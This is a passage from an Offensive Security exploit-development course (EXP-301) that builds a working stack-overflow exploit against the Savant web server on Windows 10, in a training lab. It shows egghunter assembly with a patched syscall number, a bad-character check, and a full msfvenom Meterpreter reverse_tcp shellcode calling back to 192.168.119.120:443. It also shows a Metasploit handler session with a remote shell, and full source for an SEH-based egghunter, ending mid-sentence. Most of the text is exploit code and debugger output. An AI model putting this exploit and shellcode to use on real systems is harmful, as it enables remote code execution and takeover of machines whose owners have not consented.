eip=02f0ea88 esp=02f0ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02f0ea88 0f8411000000 je 02f0ea9f [br=1]

0:003> u 02f0ea9f L16


02f0ea9f 90 nop
02f0eaa0 90 nop
02f0eaa1 90 nop
02f0eaa2 90 nop
02f0eaa3 90 nop
02f0eaa4 90 nop
02f0eaa5 6681caff0f or dx,0FFFh
02f0eaaa 42 inc edx
02f0eaab 52 push edx
02f0eaac 6a02 push 2
02f0eaae 58 pop eax
02f0eaaf cd2e int 2Eh
02f0eab1 3c05 cmp al,5
02f0eab3 5a pop edx
02f0eab4 74ef je 02f0eaa5
02f0eab6 b877303074 mov eax,74303077h
02f0eabb 89d7 mov edi,edx
02f0eabd af scas dword ptr es:[edi]
02f0eabe 75ea jne 02f0eaaa
02f0eac0 af scas dword ptr es:[edi]
02f0eac1 75e7 jne 02f0eaaa
02f0eac3 ffe7 jmp edi
Listing 222 - Verifying that the egghunter is unmangled in memory

Excellent! According to Listing 222, our egghunter code is present in memory and appears to be
intact.
Before letting our egghunter run, we want to double-check that our secondary buffer is in
memory. Once we confirm this, we’ll set a breakpoint at the last instruction of our egghunter
(JMP EDI) since that will be executed once our egg has been found.
0:003> s -a 0x0 L?80000000 w00tw00t
01425a86 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD

0:003> bp 02f0eac3

0:003> bl
0 e Disable Clear 00418674 0001 (0001) 0:**** Savant+0x18674
1 e Disable Clear 02f0eac3 0001 (0001) 0:****
Listing 223 - Confirming our secondary buffer is still present in memory

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 194
Windows User Mode Exploit Development

With our breakpoint set, we let the debugger continue execution (g). Our expectation is that the
egg will be found in memory and our breakpoint at the JMP EDI instruction will be triggered;
however, this does not appear to be the case.
Our application does not crash and the breakpoint is not hit. Checking the Task Manager, we
notice that the vulnerable application has 100% CPU usage.

Figure 60: Checking CPU usage

This suggests that our egghunter is still running but it does not seem to find our secondary
buffer. We know the buffer is stored in memory as we have manually confirmed this with WinDbg,
so the problem must be somewhere else.
While we can find plenty of exploits publicly available that include this egghunter, it appears that
they are all targeting applications on Windows 7 or prior. This means that some changes
occurred in between Windows 7 and Windows 10 that break the functionality of our egghunter.
Let’s try to go through our egghunter code inside WinDbg and determine if we can identify the
issue.

6.6.2.1 Exercises
1. Take some time and go through the theory of this section. Make sure you understand the
purpose of system calls as well as how the arguments are set up.
2. Go through the assembly code of the egghunter and ensure that you understand how it
works.
3. Generate the egghunter opcodes using the Keystone framework and update your latest
proof of concept to include the egghunter.
4. Attach WinDbg to the vulnerable software and verify that your egghunter is stored correctly
in memory.
5. Set a breakpoint at the final instruction of the egghunter and let the debugger resume
execution. Confirm that your secondary buffer is not found and the vulnerable software has
a very high CPU utilization.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 195
Windows User Mode Exploit Development

6.6.3 Identifying and Addressing the Egghunter Issue


To understand what causes our egghunter to fail, we’ll execute our proof of concept again and
attempt to determine which part of our egghunter assembly code does not function properly.
Given that the egghunter is compact by design, it’s not a very complex piece of code. It shouldn’t
take long to troubleshoot it.
The biggest potential point of failure in the code, which is the one we will check first, is the call to
NtAccessCheckAndAuditAlarm. This is because this code is executed in the background and is
outside our control.
Once we reach our conditional jump inside WinDbg, let’s set a breakpoint at the INT 0x2E
instruction. This will allow us to check that the EAX and EDX registers are set correctly before our
system call. Then we can step over the system call and inspect the result from EAX.
0:003> ph
eax=02fffe70 ebx=014056d0 ecx=00000000 edx=77184550 esi=014056d0 edi=0041703c
eip=02ffea88 esp=02ffea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02ffea88 0f8411000000 je 02ffea9f [br=1]

0:003> u 02ffea9f L16


02ffea9f 90 nop
02ffeaa0 90 nop
02ffeaa1 90 nop
02ffeaa2 90 nop
02ffeaa3 90 nop
02ffeaa4 90 nop
02ffeaa5 6681caff0f or dx,0FFFh
02ffeaaa 42 inc edx
02ffeaab 52 push edx
02ffeaac 6a02 push 2
02ffeaae 58 pop eax
02ffeaaf cd2e int 2Eh
02ffeab1 3c05 cmp al,5
02ffeab3 5a pop edx
02ffeab4 74ef je 02ffeaa5
02ffeab6 b877303074 mov eax,74303077h
02ffeabb 89d7 mov edi,edx
02ffeabd af scas dword ptr es:[edi]
02ffeabe 75ea jne 02ffeaaa
02ffeac0 af scas dword ptr es:[edi]
02ffeac1 75e7 jne 02ffeaaa
02ffeac3 ffe7 jmp edi

0:003> bp 02ffeaaf

0:003> bl
0 e Disable Clear 00418674 0001 (0001) 0:**** Savant+0x18674
1 e Disable Clear 02ffeaaf 0001 (0001) 0:****
Listing 224 - Confirming our secondary buffer is still present in memory

With our breakpoints set, we let the debugger continue execution and inspect our registers once
the breakpoints are hit. The first thing we notice is that some addresses appear to return

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 196
Windows User Mode Exploit Development

STATUS_ACCESS_VIOLATION in EAX. However, manually inspecting the memory addresses using


WinDbg shows that they are mapped and we can read the contents of the memory.
0:003> g
Breakpoint 1 hit
eax=00000002 ebx=014056d0 ecx=00000000 edx=77185000 esi=014056d0 edi=0041703c
eip=02ffeaaf esp=02ffea30 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
02ffeaaf cd2e int 2Eh

0:003> p
eax=c0000005 ebx=014056d0 ecx=00000000 edx=00000000 esi=014056d0 edi=0041703c
eip=02ffeab1 esp=02ffea30 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
02ffeab1 3c05 cmp al,5

0:003> dc 77185000
77185000 80a87074 568a0875 47178808 4e8d55eb tp..u..V...G.U.N
77185010 144d3b0a 7d3b5577 333877f8 4e8b66c9 .;M.wU;}.w83.f.N
77185020 01568d08 8bf45589 9d0c23f1 7718472a ..V..U...#..*G.w
77185030 eed3d987 def7d987 ff37748d 7208753b .........t7.;u.r
77185040 03c1832a 3b39148d 1f770c55 758ba4f3 *.....9;U.w....u
77185050 4b10ebf4 0308558b 46e69d14 55897718 ...K.U.....F.w.U
77185060 83b3ebf8 afe909c6 b8fffffb c0000242 ............B...
77185070 c78b0ceb 8b08452b 0789187d 5e5fc033 ....+E..}...3._^
Listing 225 - Detecting the system call issue

One of the caveats of hardcoding system call numbers is that they are prone to change across
different versions of the operating system. Before Windows 8, NtAccessCheckAndAuditAlarm’s
system call number was always 0x02. Unfortunately, this is no longer the case. In fact, with the
release of Windows 10, the system call numbers often change with every update.
We will figure out how to deal with the system call number changes shortly. For now, let’s
determine if updating the system call number fixes our egghunter.
To find the updated system call number, we can either search for it online188 or, given that we
have access to the machine, obtain it directly from within WinDbg.
0:001> u ntdll!NtAccessCheckAndAuditAlarm
ntdll!NtAccessCheckAndAuditAlarm:
76f20ec0 b8c6010000 mov eax,1C6h
76f20ec5 e803000000 call ntdll!NtAccessCheckAndAuditAlarm+0xd (76f20ecd)
76f20eca c22c00 ret 2Ch
76f20ecd 8bd4 mov edx,esp
76f20ecf 0f34 sysenter
76f20ed1 c3 ret
...
Listing 226 - Obtaining the system call number for NtAccessCheckAndAuditAlarm

188
System call numbers can be compared at the following URL: https://j00ru.vexillium.org/syscalls/nt/32/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 197
Windows User Mode Exploit Development

Based on the output from Listing 226, the system call number for our version of Windows is
0x1C6. Let’s update our Python script with the new system call number and generate our new
opcodes.
kali@kali:~$ python3 original_egghunter_win10.py
egghunter =
("\x66\x81\xca\xff\x0f\x42\x52\x68\xc6\x01\x00\x00\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8
\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7")
Listing 227 - Obtaining the opcodes for our egghunter

According to the opcodes generated in Listing 227, it seems that replacing our PUSH 0x02
instruction with PUSH 0x1C6 results in null bytes. This is a problem since null bytes are bad
characters and will prevent us from crashing the application.
To overcome this, we will take advantage of the NEG189 assembly instruction, which is the
equivalent of subtracting from 0. We first need to generate a negative value that, when subtracted
from 0x00, will result in 0x1C6. Let’s examine how we can do this using the evaluate extension of
WinDbg (?).
0:001> ? 0x00 - 0x1C6
Evaluate expression: -454 = fffffe3a

0:001> ? 0x00 - 0xfffffe3a


Evaluate expression: -4294966842 = ffffffff`000001c6
Listing 228 - Obtaining the correct value for the NEG operation

We begin by subtracting the value we want, in this case 0x1C6, from 0x00. This will give us a
negative hex number (0xfffffe3a). We confirm that the negate operation will produce the desired
result by replicating it within WinDbg. The result is a QWORD (0xffffffff000001c6), but because we
are running on the 32-bit architecture, if we run the NEG operation on a register, the result will be
stored in the lower DWORD of the total value (0x000001c6), allowing us to avoid null bytes.
Let’s examine what our updated egghunter code looks like now.
...
" loop_check: "
# Save the edx register which holds our memory
# address on the stack
" push edx ;"
# Push the negative value of the system
# call number
" mov eax, 0xfffffe3a ;"
# Initialize the call to NtAccessCheckAndAuditAlarm
" neg eax ;"
# Perform the system call
" int 0x2e ;"
# Check for access violation, 0xc0000005
# (ACCESS_VIOLATION)
" cmp al,05 ;"
# Restore the edx register to check
# later for our egg

189
(NEG - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_216.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 198
Windows User Mode Exploit Development

" pop edx ;"


...
Listing 229 - original_egghunter_win10_nonull.py Keystone version of the updated egghunter

With our egghunter code updated, we generate the opcodes and update our proof of concept with
the new version of our egghunter.
To determine if our changes fixed the egghunter, we will once again set a breakpoint at our POP
EAX; RET instruction sequence and step through until our conditional jump. Once there, we will
set a breakpoint at the last instruction of our egghunter (JMP EDI) and then let the debugger
resume execution.
0:003> ph
eax=02fdfe70 ebx=017356d0 ecx=00000000 edx=77184550 esi=017356d0 edi=0041703c
eip=02fdea88 esp=02fdea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02fdea88 0f8411000000 je 02fdea9f [br=1]

0:003> u 02fdea9f L16


02fdea9f 90 nop
02fdeaa0 90 nop
02fdeaa1 90 nop
02fdeaa2 90 nop
02fdeaa3 90 nop
02fdeaa4 90 nop
02fdeaa5 6681caff0f or dx,0FFFh
02fdeaaa 42 inc edx
02fdeaab 52 push edx
02fdeaac b83afeffff mov eax,0FFFFFE3Ah
02fdeab1 f7d8 neg eax
02fdeab3 cd2e int 2Eh
02fdeab5 3c05 cmp al,5
02fdeab7 5a pop edx
02fdeab8 74eb je 02fdeaa5
02fdeaba b877303074 mov eax,74303077h
02fdeabf 89d7 mov edi,edx
02fdeac1 af scas dword ptr es:[edi]
02fdeac2 75e6 jne 02fdeaaa
02fdeac4 af scas dword ptr es:[edi]
02fdeac5 75e3 jne 02fdeaaa
02fdeac7 ffe7 jmp edi

0:003> bp 02fdeac7

0:003> bl
0 e Disable Clear 00418674 0001 (0001) 0:**** Savant+0x18674
1 e Disable Clear 02fdeac7 0001 (0001) 0:****

0:003> g
Breakpoint 1 hit
eax=74303077 ebx=017356d0 ecx=02fdea30 edx=01735a86 esi=017356d0 edi=01735a8e
eip=02fdeac7 esp=02fdea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02fdeac7 ffe7 jmp edi {01735a8e}

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 199
Windows User Mode Exploit Development

0:003> dc @edi - 0x08


01735a86 74303077 74303077 44444444 44444444 w00tw00tDDDDDDDD
01735a96 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
01735aa6 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
01735ab6 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
01735ac6 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
01735ad6 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
01735ae6 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
01735af6 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
Listing 230 - Successfully finding our secondary buffer

Unlike the last time, where our egghunter ran in an infinite loop, we successfully located our
secondary buffer as shown in Listing 230. We confirm this by inspecting the memory pointed to
by the EDI register.
These kinds of problems appear quite often during exploit development, and it’s not always trivial
to find a good compromise between portability and shellcode size. Now that we were able to
overcome this issue, we can proceed to store our shellcode in the secondary buffer and have it
executed.

6.6.3.1 Exercises
1. Set breakpoints at key parts in the egghunter code to speed up the analysis of the issue.
2. Obtain the system call number using WinDbg and check it using online resources. Did it
change often compared to the past versions of Windows?
3. Modify the egghunter to use the new system call number while avoiding null bytes. Can you
find other instruction sequences, different than the ones used in the section above, that will
produce the same result?
4. Update your previous proof of concept with the new egghunter opcodes and confirm that
you can successfully find the secondary buffer.

6.6.4 Obtaining a Shell


Now that we have fixed our egghunter and were able to find the secondary buffer, we can work
towards replacing it with an actual payload.
Before doing so, we need to remember that our secondary buffer is stored in a different memory
page allocated by the heap. As such, we do not know if there are any bad characters yet.
Previously, when modifying the HTTP method, we found that bad characters aren’t necessarily
universal for the entire application.
Let’s update our proof of concept with all possible hex characters once again, this time sending
them as part of our secondary buffer.
...
inputBuffer = b"\x41" * (size - len(egghunter))
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

badchars = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 200
Windows User Mode Exploit Development

b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode = b"w00tw00t" + badchars + b"\x44" * (400-len(badchars))

buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode


...
Listing 231 - egghunter_0x0e.py: Checking for bad characters in our secondary buffer

Let’s place a breakpoint at our POP EAX; RET instruction sequence. Once our breakpoint is hit,
rather than going through all the instructions and executing our egghunter, we will manually
search for our egg inside WinDbg. We can then dump the bytes and inspect them to determine if
any of them are mangled.
Breakpoint 0 hit
eax=00000000 ebx=002556d0 ecx=0000000e edx=77184550 esi=002556d0 edi=0041703c
eip=00418674 esp=02f9ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax

0:003> s -a 0x0 L?80000000 w00tw00t


00255a86 77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07 w00tw00t........

0:003> db 00255a86 L110


00255a86 77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07 w00tw00t........
00255a96 08 09 0a 0b 0c 0d 0e 0f-10 11 12 13 14 15 16 17 ................
00255aa6 18 19 1a 1b 1c 1d 1e 1f-20 21 22 23 24 25 26 27 ........ !"#$%&'
00255ab6 28 29 2a 2b 2c 2d 2e 2f-30 31 32 33 34 35 36 37 ()*+,-./01234567
00255ac6 38 39 3a 3b 3c 3d 3e 3f-40 41 42 43 44 45 46 47 89:;<=>?@ABCDEFG
00255ad6 48 49 4a 4b 4c 4d 4e 4f-50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW
00255ae6 58 59 5a 5b 5c 5d 5e 5f-60 61 62 63 64 65 66 67 XYZ[\]^_`abcdefg
00255af6 68 69 6a 6b 6c 6d 6e 6f-70 71 72 73 74 75 76 77 hijklmnopqrstuvw
00255b06 78 79 7a 7b 7c 7d 7e 7f-80 81 82 83 84 85 86 87 xyz{|}~.........
00255b16 88 89 8a 8b 8c 8d 8e 8f-90 91 92 93 94 95 96 97 ................
00255b26 98 99 9a 9b 9c 9d 9e 9f-a0 a1 a2 a3 a4 a5 a6 a7 ................
00255b36 a8 a9 aa ab ac ad ae af-b0 b1 b2 b3 b4 b5 b6 b7 ................
00255b46 b8 b9 ba bb bc bd be bf-c0 c1 c2 c3 c4 c5 c6 c7 ................
00255b56 c8 c9 ca cb cc cd ce cf-d0 d1 d2 d3 d4 d5 d6 d7 ................

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 201
Windows User Mode Exploit Development

00255b66 d8 d9 da db dc dd de df-e0 e1 e2 e3 e4 e5 e6 e7 ................


00255b76 e8 e9 ea eb ec ed ee ef-f0 f1 f2 f3 f4 f5 f6 f7 ................
00255b86 f8 f9 fa fb fc fd fe ff-44 44 44 44 44 44 44 44 ........DDDDDDDD
Listing 232 - Checking the bad characters from our secondary buffer in memory

According to Listing 232, we do not appear to have any bad characters in our secondary buffer.
Nice! Now we can generate a Meterpreter shell and place it in our secondary buffer without
having to worry about excluding any characters. Let’s examine the updated proof of concept.
...
inputBuffer = b"\x41" * (size - len(egghunter))
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.120 LPORT=443 -f


python -v payload
payload = b""
payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
payload += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
payload += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29"
payload += b"\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x76\x03"
payload += b"\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40"
payload += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
payload += b"\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0"
payload += b"\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00"
payload += b"\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00"
payload += b"\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff"
payload += b"\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8"
payload += b"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40"
payload += b"\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
payload += b"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
payload += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff"
payload += b"\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56"
payload += b"\x6a\x00\x53\xff\xd5"

shellcode = b"w00tw00t" + payload + b"\x44" * (400-len(payload))

buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode


...
Listing 233 - egghunter_0x0f.py: Getting a shell

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 202
Windows User Mode Exploit Development

Before running the proof of concept, we will set up a Metasploit handler to catch our payload.
Also, this time we will not attach the program to WinDbg. We proceed to run our proof of concept
code and inspect the Metasploit handler.
kali@kali:~$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_tcp; set LHOST 192.168.119.120; set LPORT 443; exploit"
...
[*] Started reverse TCP handler on 192.168.119.120:443
[*] Sending stage (180291 bytes) to 192.168.120.10
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.10:49676)

meterpreter > shell


Process 3088 created.
Channel 1 created.
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Savant> ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :


IPv4 Address. . . . . . . . . . . : 192.168.120.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.120.254
Listing 234 - Getting a reverse meterpreter shell from our target machine

Excellent! We were able to get a reverse Meterpreter shell from our target host. This is much
better than settling for a limited payload because of space restrictions.
While getting a reverse shell is a very important milestone in the exploit development process,
there are still some things we must consider before this exploit becomes portable.
As we found in this section, the original egghunter code failed because of the hardcoded system
call number. We gathered the correct system call number for our operating system, and we fixed
the problem by hardcoding the new number. Because we don’t always know the operating
system version of our targets beforehand, the portability of our exploit is severely limited. Let’s
determine if there is anything we can do to improve portability.

6.6.4.1 Exercises
1. Check for any bad characters in the secondary buffer. Can you explain why the null byte isn’t
a bad character in this case?
2. Update your previous proof of concept and add a reverse meterpreter payload to it.
3. Set up the Metasploit handler to catch the payload used in your proof of concept.
4. Run the proof of concept and confirm that you can get a reverse meterpreter on the target
host.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 203
Windows User Mode Exploit Development

6.7 Improving the Egghunter Portability Using SEH


Previously, we observed that the original egghunter code used the NtAccessCheckAndAuditAlarm
function, because the system call number did not change until Windows 8. We fixed this by
hardcoding the new system call number but this fix came at the cost of portability. If we stay with
this approach, we need a way to identify the version of the target operating system beforehand.
This might be a common step during a penetration test, but we would like to avoid it if possible
and increase portability of our exploit with other methods.
The original author of the first egghunter provides an interesting option to overcome the
portability problem. The point of using NtAccessCheckAndAuditAlarm is for the operating system
to handle the access violation; however, nothing is stopping us from handling it ourselves.
Rather than relying on the operating system, we will create and install our own structured
exception handler to handle accessing invalid memory pages. The reason we’re considering this
solution to increase the portability of our egghunter is because the underlying SEH mechanism
has not changed drastically from earlier versions of Windows.
Of course, the downside is that a larger egghunter requires additional assembly instructions to
set up the SEH mechanism. The size of this egghunter is roughly 60 bytes, whereas the previous
one was only 35 bytes. Fortunately, given the space available in our current test case, this is not
an issue.
Let’s inspect the original code for this egghunter approach. We have already covered the inner
workings of the SEH mechanism in a previous module, which should be helpful in understanding
this method.

from keystone import *

CODE = (
" start: "
# jump to a negative call to dynamically
# obtain egghunter position
" jmp get_seh_address ;"
" build_exception_record: "
# pop the address of the exception_handler
# into ecx
" pop ecx ;"
# mov signature into eax
" mov eax, 0x74303077 ;"
# push Handler of the
# _EXCEPTION_REGISTRATION_RECORD structure
" push ecx ;"
# push Next of the
# _EXCEPTION_REGISTRATION_RECORD structure
" push 0xffffffff ;"
# null out ebx
" xor ebx, ebx ;"
# overwrite ExceptionList in the TEB with a pointer
# to our new _EXCEPTION_REGISTRATION_RECORD structure
" mov dword ptr fs:[ebx], esp ;"
" is_egg: "
# push 0x02

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 204
Windows User Mode Exploit Development

" push 0x02 ;"


# pop the value into ecx which will act
# as a counter
" pop ecx ;"
# mov memory address into edi
" mov edi, ebx ;"
# check for our signature, if the page is invalid we
# trigger an exception and jump to our exception_handler function
" repe scasd ;"
# if we didn't find signature, increase ebx
# and repeat
" jnz loop_inc_one ;"
# we found our signature and will jump to it
" jmp edi ;"
" loop_inc_page: "
# if page is invalid the exception_handler will
# update eip to point here and we move to next page
" or bx, 0xfff ;"
" loop_inc_one: "
# increase ebx by one byte
" inc ebx ;"
# check for signature again
" jmp is_egg ;"
" get_seh_address: "
# call to a higher address to avoid null bytes & push
# return to obtain egghunter position
" call build_exception_record ;"
# push 0x0c onto the stack
" push 0x0c ;"
# pop the value into ecx
" pop ecx ;"
# mov into eax the pointer to the CONTEXT
# structure for our exception
" mov eax, [esp+ecx] ;"
# mov 0xb8 into ecx which will act as an
# offset to the eip
" mov cl, 0xb8 ;"
# increase the value of eip by 0x06 in our CONTEXT
# so it points to the "or bx, 0xfff" instruction
# to increase the memory page
" add dword ptr ds:[eax+ecx], 0x06 ;"
# save return value into eax
" pop eax ;"
# increase esp to clean the stack for our call
" add esp, 0x10 ;"
# push return value back into the stack
" push eax ;"
# null out eax to simulate
# ExceptionContinueExecution return
" xor eax, eax ;"
# return
" ret ;"
)

# Initialize engine in X86-32bit mode


ks = Ks(KS_ARCH_X86, KS_MODE_32)

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 205
Windows User Mode Exploit Development

encoding, count = ks.asm(CODE)


print("Encoded %d instructions..." % count)

egghunter = ""
for dec in encoding:
egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("egghunter = (\"" + egghunter + "\")")
Listing 235 - egghunter_seh_original.py Keystone version of the SEH egghunter

The code from Listing 235 starts by executing a JMP190 instruction to a later part in the code,
specifically to the get_seh_address function.
In get_seh_address, the first instruction is a relative CALL191 to the build_exception_record
function. When executing a relative call, the opcodes will match the offset from the current value
of EIP. This would normally generate null bytes unless we perform a backward call using a
negative offset. Additionally, by executing a CALL instruction based on the x86 calling convention,
we will push the return value to the stack. This allows us to dynamically gather the position of our
egghunter in memory.

Figure 61: Backwards call with non-null opcodes

190
(JMP - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_147.html
191
(CALL - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_26.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 206
Windows User Mode Exploit Development

This technique will be discussed more in-depth in a later module where we will
tackle the challenge of writing our own shellcode.

Our egghunter now starts executing the instructions from the build_exception_record function.
The first instruction is a POP that will store the return value pushed to the stack by our previous
CALL into ECX. After this, our egg is moved into the EAX register.
...
" build_exception_record: "
# pop the address of the exception_handler into ecx
" pop ecx ;"
# mov signature into eax
" mov eax, 0x74303077 ;"
...
Listing 236 - Getting the egghunter memory address in ECX and moving the signature in EAX

The next step involves building our own _EXCEPTION_REGISTRATION_RECORD structure. We do


this by pushing the value stored in ECX, which holds our return address pointing to the next
instruction after our CALL to build_exception_record. This will act as the Handler member of the
_EXCEPTION_REGISTRATION_RECORD structure. We then push the value of “-1” (0xffffffff) as our
Next member. This signals the end of the singly-linked list storing the exception records.
...
# push Handler of the _EXCEPTION_REGISTRATION_RECORD structure
" push ecx ;"
# push Next of the _EXCEPTION_REGISTRATION_RECORD structure
" push 0xffffffff ;"
...
Listing 237 - Setting up the _EXCEPTION_REGISTRATION_RECORD

Finally, the shellcode installs the custom exception handler. It does this by overwriting the
ExceptionList member in the TEB structure with our stack pointer.
...
# null out ebx
" xor ebx, ebx ;"
# overwrite ExceptionList in the TEB with a pointer to our new
_EXCEPTION_REGISTRATION_RECORD structure
" mov dword ptr fs:[ebx], esp ;"
...
Listing 238 - Overwriting the ExceptionList

The next functions (is_egg, loop_inc_page, and loop_inc_one) are meant to search for our egg in
